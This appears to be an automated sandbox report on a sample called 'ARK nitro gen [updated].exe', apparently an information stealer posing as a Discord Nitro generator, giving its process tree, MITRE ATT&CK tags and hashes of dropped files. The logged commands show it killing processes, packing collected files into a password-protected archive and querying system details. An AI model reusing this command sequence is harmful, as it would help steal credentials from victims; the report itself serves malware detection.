        tasklist /FO LIST
        5⤵
        Enumerates processes with tasklist
        
        PID:5904
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "taskkill /F /PID 2044"
      4⤵
      PID:5296
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /F /PID 2044
        5⤵
        Kills process with taskkill
        
        PID:5288
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "taskkill /F /PID 2044"
      4⤵
      PID:4216
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /F /PID 2044
        5⤵
        Kills process with taskkill
        
        PID:2628
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "taskkill /F /PID 4580"
      4⤵
      PID:5840
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /F /PID 4580
        5⤵
        Kills process with taskkill
        
        PID:6136
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "taskkill /F /PID 4580"
      4⤵
      PID:5132
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /F /PID 4580
        5⤵
        Kills process with taskkill
        
        PID:4620
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "taskkill /F /PID 4776"
      4⤵
      PID:5376
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /F /PID 4776
        5⤵
        Kills process with taskkill
        
        PID:2828
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "taskkill /F /PID 4776"
      4⤵
      PID:6008
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /F /PID 4776
        5⤵
        Kills process with taskkill
        
        PID:2368
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "taskkill /F /PID 3212"
      4⤵
      PID:4804
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /F /PID 3212
        5⤵
        Kills process with taskkill
        
        PID:5904
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "taskkill /F /PID 3212"
      4⤵
      PID:5368
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /F /PID 3212
        5⤵
        Kills process with taskkill
        
        PID:2628
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "taskkill /F /PID 1636"
      4⤵
      PID:5200
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /F /PID 1636
        5⤵
        Kills process with taskkill
        
        PID:5452
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "taskkill /F /PID 1636"
      4⤵
      PID:1928
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /F /PID 1636
        5⤵
        Kills process with taskkill
        
        PID:4320
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "taskkill /F /PID 4984"
      4⤵
      PID:2832
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /F /PID 4984
        5⤵
        Kills process with taskkill
        
        PID:3892
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "taskkill /F /PID 4984"
      4⤵
      PID:3088
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /F /PID 4984
        5⤵
        Kills process with taskkill
        
        PID:1032
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "taskkill /F /PID 1428"
      4⤵
      PID:2140
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /F /PID 1428
        5⤵
        Kills process with taskkill
        
        PID:5668
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "taskkill /F /PID 1428"
      4⤵
      PID:4580
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /F /PID 1428
        5⤵
        Kills process with taskkill
        
        PID:2888
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "taskkill /F /PID 4380"
      4⤵
      PID:2748
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /F /PID 4380
        5⤵
        Kills process with taskkill
        
        PID:4060
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "taskkill /F /PID 4380"
      4⤵
      PID:3956
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /F /PID 4380
        5⤵
        Kills process with taskkill
        
        PID:1728
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "taskkill /F /PID 3052"
      4⤵
      PID:6060
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /F /PID 3052
        5⤵
        Kills process with taskkill
        
        PID:1480
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "taskkill /F /PID 3052"
      4⤵
      PID:6072
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /F /PID 3052
        5⤵
        Kills process with taskkill
        
        PID:5944
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "taskkill /F /PID 1188"
      4⤵
      PID:3344
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /F /PID 1188
        5⤵
        Kills process with taskkill
        
        PID:5152
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "taskkill /F /PID 1188"
      4⤵
      PID:1532
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /F /PID 1188
        5⤵
        Kills process with taskkill
        
        PID:5212
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "taskkill /F /PID 2972"
      4⤵
      PID:6036
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /F /PID 2972
        5⤵
        Kills process with taskkill
        
        PID:2452
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "taskkill /F /PID 2972"
      4⤵
      PID:3896
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /F /PID 2972
        5⤵
        Kills process with taskkill
        
        PID:1528
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI57242\rar.exe a -r -hp"123" "C:\Users\Admin\AppData\Local\Temp\zsDPn.zip" *"
      4⤵
      PID:4984
    - - C:\Users\Admin\AppData\Local\Temp\_MEI57242\rar.exe
        
        C:\Users\Admin\AppData\Local\Temp\_MEI57242\rar.exe a -r -hp"123" "C:\Users\Admin\AppData\Local\Temp\zsDPn.zip" *
        5⤵
        
        PID:3052
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "wmic os get Caption"
      4⤵
      PID:5280
    - - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic os get Caption
        5⤵
        
        PID:3824
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
      4⤵
      PID:5024
    - - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic computersystem get totalphysicalmemory
        5⤵
        
        PID:5028
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
      4⤵
      PID:4664
    - - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic csproduct get uuid
        5⤵
        
        PID:1800
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
      4⤵
      PID:2284
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:6040
- C:\Windows\system32\NOTEPAD.EXE
  "C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\AppData\Local\Temp\7zO835998F8\nitro gift codes.txt
  2⤵
  PID:1416

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Process Discovery

T1057

Query Registry

T1012

System Information Discovery

T1082

System Time Discovery

T1124

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
MD5 d85ba6ff808d9e5444a4b369f5bc2730
SHA1 31aa9d96590fff6981b315e0b391b575e4c0804a
SHA512 8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
TLSH
T1CE51EE323375B1E888167F071E681A8053BF4355EA94AF1CB698621ED93641B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

blocklist

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\blocklist
Size 105KB
SHA256 bf637ca0b28ebd6e948876848ccfe71d201158d460d4ad944f124f9d17ee5472
MD5 827e00d89fccbbde703c679b5c7ff536
SHA1 6d9e235782beb4e6b38fd4db2946f9bfc725110c
SHA512 1d18100db386f25678d8dabb492ab6e15d08e2c5a7d7e6c76bc253df648e2b5438cbc4fcb5a4033a1e14afbda93b271225eb5f545f12663d6bc35ca51239fcc3
SSDEEP 1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7X:fwUQC5VwBIiElEd2K57P7X
TLSH
T148B3B931457E36BF26E93EE828CF1511B84F3912624895D4ABE1FE2C4845E68633CEF4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 39b8627875fea5ac5c5bfb887da12c15116e3fe81f200852c71d5699102c9044
MD5 e3962be2eb3bd350a67bf6309159a1cc
SHA1 c10632202b95ed6f7f4475b6483bf5196e4c5578
SHA512 d12d4acc23b51c071fbc9bf4db2f0575a6b43ec7894b272035e4c01dfce30099cd3ef90a1009dd1e6284cfbcf7a37fd3b79490739946700a2c61ec578374cbe6
TLSH
T173D08C677A0E7815E72F8231A413E360A76B4072A5629702F324C81DA9BC8D85BE63D7
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 a59087fbda784cffb013f4e2a0bf13a7fca483c48e8a7fc15fa022402eb25d72
MD5 dd54db185d82309b854bfa7657ba4600
SHA1 d01c14e8b4dec85ed2e1671545a868fd7ad4fa95
SHA512 f014ab84dd934b90e006883b74ad349d05f60071e57d2cf0bdf8a9bce118654c92139263e082094b602f6900a71e9a7848754994a2ea88642b2376121b581d07
TLSH
T165D08067354D7815E71F42319413D350576B4072A562D702F314C41D957C4D857D53D7
MD5 SHA1 SHA512 TLSH

Submit Download

BookmarkMergedSurfaceOrdering

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\BookmarkMergedSurfaceOrdering
Size 6B
SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
MD5 377d072e137022223a370760763420bb
SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
MD5 SHA1 SHA512

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 5KB
SHA256 390e0ea224ccfeb5c42d5a43786495d3820a1361513f4ee25c836f6840607b07
MD5 831bee0859686ac5db106643c0249448
SHA1 b089f2f198be5fe865a27d27e38efaa90752f89a
SHA512 507d051c4af0708fdc818ce145af01f8becfca46e31b5e2f31b5691df45d0eb47d9e2b7446e6aba65460feb1a0aee12898b18b93138223c3a333f1067d656130
SSDEEP 96:C/wc6b81A7mB5OT/D70NQ2xLD0QaPGp4qMzyYA:C/H6M5OT/D7MPxkQuGSW
TLSH
T16DC1C23843910EEDEBED4230C6E085E3F971AC5999E75DB9B1708A7E1821FA463C16DC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

the-real-index~RFe58ba04.TMP

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index~RFe58ba04.TMP
Size 3KB
SHA256 e7e9b8351d06bb1cee4a3faa5291146ee0d06cde5d2a49f91acb25e4f02676c9
MD5 bf8c775b13c2e0a059a905e06878356c
SHA1 25fb9685ca4945413324998ae5b58e9ff92de8db
SHA512 2c96c94d1c2c26950d708c5530fa1426f8902d1d59635aeeabd4ed914049fed0f5c32ddf3edddef340f58acb61020f2fd4cd89baa4bf6451cfc9f987ca9e3a32
TLSH
T154618118065319F4EF4C4231D1F1DAF27971809EEAFB9EE1B0981CBF6C05F5561062D8
MD5 SHA1 SHA512 TLSH

Submit Download

SiteList-Enterprise.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DualEngine\SiteList-Enterprise.json
Size 2B
SHA256 44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a
MD5 99914b932bd37a50b983c5e7c90ae93b
SHA1 bf21a9e8fbc5a3846fb05b4fa0859e0917b2202f
SHA512 27c74670adb75075fad058d5ceaf7b20c4e7786c83bae8a32f626f9782af34c9a33c2046ef60fd2a7878d378e29fec851806bbd9a67878f3a9f1cda4830763fd
MD5 SHA1 SHA512

Submit Download

Edge Profile.ico

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Edge Profile.ico
Size 70KB
SHA256 31a226211c491e1b0832d4cd3cf34d97165e24a7ce4ec655259cd188f3a2bd88
MD5 efe54a870e0f5ff28d7e00036b861065
SHA1 10663a71c9815382ca5a1689dfcebe737c557b1d
SHA512 4d7ed9d3e22a58f0e169c9200e351d3a938c82ab7920567f67bf29d33b28192329ea05657d1077aebaf2c2b5151eb50c84e5ab590733ff824389566d93381c01
SSDEEP 1536:fAlMWz7vLDtDSVlXXwpFlorgLUxF+nubjUDSlBczkF1D/u1:fvuWAUxFDbY+0zkjDG1
TLSH
T1DA639F406A6479E8E814CBF59C69B7D30B95CFDC51A252E831F4FE7AB681494C90CFC4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

HubApps

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\HubApps
Size 106KB
SHA256 eb2fd7422436fff93f6be09df3294b26cdb7afd18e6aa94dcdc0f208db78b2ed
MD5 25dca813dd764f2197142ef84bc5ce66
SHA1 8d6aefb01ee9f6d1fb0cfd89326cfe35af53a53d
SHA512 a9c8cd547c874b7b69cbb3a0c8214f43837911e522db768dcd075d23d05acfd7122cf2bcad281ea745025e4fb67cc9061b79f9dc1288ac1a113bd0d961841d43
SSDEEP 1536:IfEEtnH74ohBGZqW3iPPDuVvpBI/SvtZsA62UYPq:BuHSRhPjU1
TLSH
T154B35226D6A54C6B01F16264EC794382F325436F9282A82F3B7C5D5C2FBD93A6502F7C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

000003.log

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\000003.log
Size 345B
SHA256 c3efe39e5cfcb60ca262990180434b9d2efe270897a30be009b27d078d464b56
MD5 c2e9d2c0ef381e7e664b40725ab0db51
SHA1 73d7a038c5cfcef34d6540fa915053d08171c69c
SHA512 3b752fd5868f7244597588b32f88217b8e0c67eefbf6d82577feefa92229ece3a5c6d5397dc8eebf7fa2e6a33d70a6dc9fe35bd90208ac903b230794d681313b
TLSH
T1BCE0D8F3442C61CAAF0538E4A4C82455AB27A07ECEC0CFD8C0567240404456507DA5B8
MD5 SHA1 SHA512 TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
Size 111B
SHA256 aa10bf07b0d265bed28f2a475f3564d8ddb5e4d4ffee0ab6f3a0cc564907b631
MD5 807419ca9a4734feaf8d8563a003b048
SHA1 a723c7d60a65886ffa068711f1e900ccc85922a6
SHA512 f10d496ae75db5ba412bd9f17bf0c7da7632db92a3fabf7f24071e40f5759c6a875ad8f3a72bad149da58b3da3b816077df125d0d9f3544adba68c66353d206c
TLSH
T18DB01269E5507CFF074A83A41428B463C3FF0047421C8ABEEA3873AD42A21FE0828C57
MD5 SHA1 SHA512 TLSH

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 13KB
SHA256 dba8fd8fefe3a7ad79075456e69cd316bec96de05e72502f110438dbbb173161
MD5 b74af6184acc3fc8e7fb107078f3d34c
SHA1 ad4c0850048aadb7910ee944913ced96edf07513
SHA512 5f69c5a7a2671f7c7f3d8f648a158b89be027824b92480f550f1010c442b9613c642db0703aa66e18d7af4e637d4dc82c74091d4abed1f6f6d572a21b58b90f1
SSDEEP 192:sxZXRsyM/jK1Ml8Mkh/f3seLwIdp9DLHW6+WNY3X/YHqZaoDIgMJ:sxZXOMh/f3seLR1Hb4/3w
TLSH
T1B752D9126A345977CCCBD209FA55BB93D6F91422A6904E48DAFCDA1C00E6BED331781F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 13KB
SHA256 25d48ab191655dc5abb0696e03d432aa9a6d808a88efd4f7d7ed19590c607970
MD5 156b1dc6633d2f22892ab3499a166c5c
SHA1 dd241e7bece40e4ff9f77f7663c39f518946b149
SHA512 0cff9855ba9df489088637515ad401296ddd5632994f5e40fd59450eb63c27a25d2f84c592124717f0dd60cf3dd9e100198e555ab9ea394bbe7759434436e2cc
SSDEEP 192:sxZXRsyM/jK1Ml8M9h/f3sWLwIdp9DLHW6+WNY3X/YHqjaoDIg52J:sxZXO1h/f3sWLR1Hb4/NU
TLSH
T1B952D956AA345977CCCBD209FA55BB93D6F91422A6900E44DAFCCA1C00E6BED331781F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

sync_diagnostic.log

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\Logs\sync_diagnostic.log
Size 6KB
SHA256 ebdb79c0749b93f9c7e4e6c5eb7113777326e76669111e99a2dd478175cb8b07
MD5 dae836289fb5e8fb78cc28d2ba1e06f0
SHA1 bcecb7b833859101a09d15f2cc7a4242cbc6aad6
SHA512 ca3ffdcc73b7531684e4688b87e24b86910a0b9e3d82758bd85289c07ff4cf410f228e44059af7988d1bf0d6e3ded79ab24ef484d4cd40ffeb42a5fa9ff52b43
SSDEEP 96:KA1eK2AUe4KLSumpCKaMFjGKw0y+JGKCgpI4KJ:Eq75nlN9
TLSH
T1BAE1995630BB1A073DBE3A09A65497160B8271933115B42B7BE904B35E2FE384DFE8DD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

e3b15fa5-4a17-4ef6-9738-27a63b474a3d.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\e3b15fa5-4a17-4ef6-9738-27a63b474a3d.tmp
Size 30KB
SHA256 185407c03905d0c1350e70860a1d17274fac1b69f71e92c24e55f0ff022d7aa1
MD5 fa178d8e41e88056a730d716f15a40e3
SHA1 fbfe845f0379e326802a264995063be8103ba8f5
SHA512 576201b4c2711860b95dca88417842c6231b68f8514e080df97a4e30bd397fa4ca4acf64bbd446bb5b60f55cfa6d05fb02d6d20a48c396892bdaedfd4acee763
SSDEEP 768:d8UZYTMWvg0Po8F1+UoAYDCx9Tuqh0VfUC9xbog/OVOeLlPZ4R+roVi0t:d8UZYTMWvg0Pou1ja7eLZmRVnt
TLSH
T137D20A2F280CCB7E4F844E9DEC2AAF867DD801CB5A584D5447EA894C03CB6EB512759B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 19KB
SHA256 895bb3ba2b157fb7ac30fdbf4a025ba0ed675f1162c5edfed75ace36059b88f0
MD5 9c2e7bd264d6c1b0b5c2a7a5b149c170
SHA1 6e85e5f9aa261d36336b205a8c138490d3308a66
SHA512 9e5782b8dd2d46f8ab17da94dcd7f45cb70b33e726f0096b236e8dc4cab1f4dc16d6b5dd2de1bb2d19ce93b7bc35ee36eb0adb4cd7bb8dff75f9caab9ca720a0
SSDEEP 384:UtNn/s3n9SasNA4wFdve9gzX5od+8OGQuzOObjI9G6w77:Uj+9JiIOFOGxz29M7
TLSH
T1B0928C32A828AD378DA3A559F44B3A474FF851ABD7842FC4C1DCAB0C04DB6FC5316916
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 8KB
SHA256 51df90d93582f26742d76cfedf118a3af82055e0863f7e0aa643f3b2ec535ce5
MD5 a7d54e443bb2e3c605063e473cae4335
SHA1 942a64df3ad11bd8ddb64d2e13e776fcaffcbcf1
SHA512 21170b33adeaf8f451c5c24a93520944b61b9896e9486b51300a54e2f4fdc0234b1172767e596aa50768d52a5d6196d442c8147bc47ab87add2a0131545243e2
SSDEEP 192:yONS61VWQmiUyRcgGX5Obd+joOpmid/aT3upU6:yONS6W/gGX5od+8O4ipU6
TLSH
T1B602D73569686C77CEE2BE49F58737135FA8207BEA546F84D6E81B1C00D769C2306827
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 19KB
SHA256 769f43e5b39686036a2605a852c507f087114d563f6cf2459ee805115e6403b3
MD5 5c328a28d381c9a37ca7a5cfdf7ef9a7
SHA1 5c0e14c0ed330f16193d3d4aa78cb39f7b25c164
SHA512 09978c118a2a3ca0c379bfd16150fd9ad7e7adc4cfeb02f898231f347388843bb3c999f5410922a842775275c58862760e73ea20551387cc5aa3539a4df275fa
SSDEEP 384:8tNn/s3n9SasNAMwFdve9gzX5od+8OGQuzOObjI9G6w77:8j+9JmIOFOGxz29M7
TLSH
T173928D32A828AD378DA3A459F44B36474FF851ABD7842FC4C2DC6B0C04DB6FC5316916
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 8KB
SHA256 7954dc4571f9004cbe3925dac947e8b9034f1591d305f597f13dd3ec6aa0e5be
MD5 3a19cd2a32ff94f0665a7e8dcd5366dd
SHA1 d9913c3e10d4ef1faac121899168da2fb88f052b
SHA512 339b1c3dfe6ef2a86625e76fbf64f76a27cffbfbbf9e61b459f8186c9466677787a0f850b098d25e15cecfefa0fd07fd2e2b6484e85d9f0c01ae82d4448107f3
SSDEEP 192:wONp61NWQmiUyCcAGX5Obd+joOpmiO83PjJwq1U6:wONp6q6AGX5od+8OGQtzU6
TLSH
T1E712F932A868AC779EA2A595F48731435FA95167EB847FC0D1DC2B1C05EB6AC230AC16
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres

Path C:\Users\Admin\AppData\Local\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres
Size 2KB
SHA256 3ffbfdca01d9f9d62dbc9e31e367013a911cf4d32cd0fb19bc8a40c3c2a16806
MD5 f5fa492f4b8c259bca420a9ca1e820dd
SHA1 4af0fbfc7d13491b6447ca6871a5533dae32f65c
SHA512 0969eca6580458abee42245684f9295a04bbaba2d7b71da2d1f3b922d3757501f2802da41cf149378242853171437a88b87f815835bd3f8dc7103015ddbafb29
TLSH
T16A412458BAEA1148B3B26F56ABF6A46E487EB9372F06C59E10010D4F0672E40C8B1737
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 944B
SHA256 f2a37d987731acdcd4887580e12dc5adef0f76c2f8566b071124973ccc49a5fa
MD5 fd1e1eb6a048e036091c96bdc35a80f2
SHA1 647970199ff6cf12e9d62f5d42030b50ec2fd319
SHA512 17571b418a955ac9349b99b03a11560f35a05633cb6146b4ac2b6854e72a215b8cbae9528e1634ac3fafc96f25bffc81c84719305b53cf6e01a97e6669cc05f9
TLSH
T1B7112223F38C8920CC96163A509DAC5172B586CB81AEDF9F7FC0C210A1BF584CB61294
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 944B
SHA256 bcf3ba98af6ee96a3eba9bbc6bdb2ae36b883f5f1e9cdad2974cbbcb9c102237
MD5 354ebb8d437ee057dacfef36baced4e9
SHA1 30460dbe64847ebb524d7d1fd5b9bf8a851a7626
SHA512 1f2cb272ad33df6e34949ac4d60ec0702316d9e21992be52cd9c6abd846472e7c868a8e96b5922b016e7952e460671e5768d007e28d84940a1b956eef4705b53
TLSH
T16D112223F78C8920CC96163A509DAC5172B586CB81AEDF9F7FC0C210A1BF584CBA1294
MD5 SHA1 SHA512 TLSH

Submit Download

ARK nitro gen [updated].exe

Path C:\Users\Admin\AppData\Local\Temp\7zO83567BC8\ARK nitro gen [updated].exe
Size 5.9MB
SHA256 e4e9e1f2e79d3080477c7b8615d6dc5e5a0e4ed7f6713e0fc06d0aaf31a0e4a8
MD5 a715903206263b3253baa10bc360b910
SHA1 5b4b249fe0898ef46d5bdbef765586d791d61799
SHA512 7b2ff160aceb2bb32aa9f5c5e696ec5f10fc8fa3c25090009677e55cff9e0fdd4030e021a820cecfd4a494011bd8c72e6676c8dcdec90e4cbfd0d8c85c792ba8
SSDEEP 98304:zIDe7pzfmDX8MMhJMjarCtaCObO/OH9KkqQz4W1kgeDxFMWP3jMW3T:z1NzgsB6yA+KO0WRsiW4W3T
TLSH
T1BF56331523C41DF3EAFB953DC866AA1BCB32B8184361D78B4334466A6E136D14EBFB11
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

VCRUNTIME140.dll

Path C:\Users\Admin\AppData\Local\Temp\_MEI57242\VCRUNTIME140.dll
Size 95KB
SHA256 9d2b40f0395cc5d1b4d5ea17b84970c29971d448c37104676db577586d4ad1b1
MD5 f34eb034aa4a9735218686590cba2e8b
SHA1 2bc20acdcb201676b77a66fa7ec6b53fa2644713
SHA512 d27d5e65e8206bd7923cf2a3c4384fec0fc59e8bc29e25f8c03d039f3741c01d1a8c82979d7b88c10b209db31fbbec23909e976b3ee593dc33481f0050a445af
SSDEEP 1536:ywqHLG4SsAzAvadZw+1Hcx8uIYNUzUoHA4decbK/zJNuw6z5U:ytrfZ+jPYNzoHA4decbK/FNu51U
TLSH
T129A36C5A76A442BBD06BD274C1E34A1AF770B8408B3093CF07B6856A4F67BE05E3D356
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_bz2.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI57242\_bz2.pyd
Size 47KB
SHA256 8886bd30421c6c6bfae17847002b9bf4ee4d9eee1a3be7369ee66b36e26c372b
MD5 f6e387f20808828796e876682a328e98
SHA1 6679ae43b0634ac706218996bac961bef4138a02
SHA512 ad7cf281f2d830f9dbf66d8ef50e418b4a17a0144b6616c43d7e98b00e6f0cbafc6fe4aba4fabf2f008bb0df85553614b38ae303e5726621a804051d950e744e
SSDEEP 768:zAZgCxM2GXvgErzHwiVGP2lhBHgdcmQYnTYf945+5XhpI/IwCV2eo5YiSyvWEPxD:zA/MZJHzVGPwRHYTiBXk/IwCV2V7Syuu
TLSH
T11123E1BA89B45834DE3BEDB170E08425BF65B6C24460C3DF324982675F62781BDE23B5
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_ctypes.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI57242\_ctypes.pyd
Size 58KB
SHA256 5998de3112a710248d29df76a05272775bf08a8dbc5a051a7ecb909fef069635
MD5 48ce90022e97f72114a95630ba43b8fb
SHA1 f2eba0434ec204d8c6ca4f01af33ef34f09b52fd
SHA512 7e6c2591805136f74c413b9633d5fdc4428e6f01e0e632b278bee98170b4f418ef2afd237c09e60b0e72076924ed0e3ffb0e2453e543b5e030b263f64568fab8
SSDEEP 1536:b/AD7oaJBsFQgyhASXD/LVwI+LKxkgIc4j3IwLPWv7Sy1Pxx:b/AD7r0MTZgKuXDIwLPWvrxx
TLSH
T16243E1E746A4FC25E5335C7221D59858FF32B886C770C6EB2345E1295F9A3027BA13B8
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_decimal.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI57242\_decimal.pyd
Size 105KB
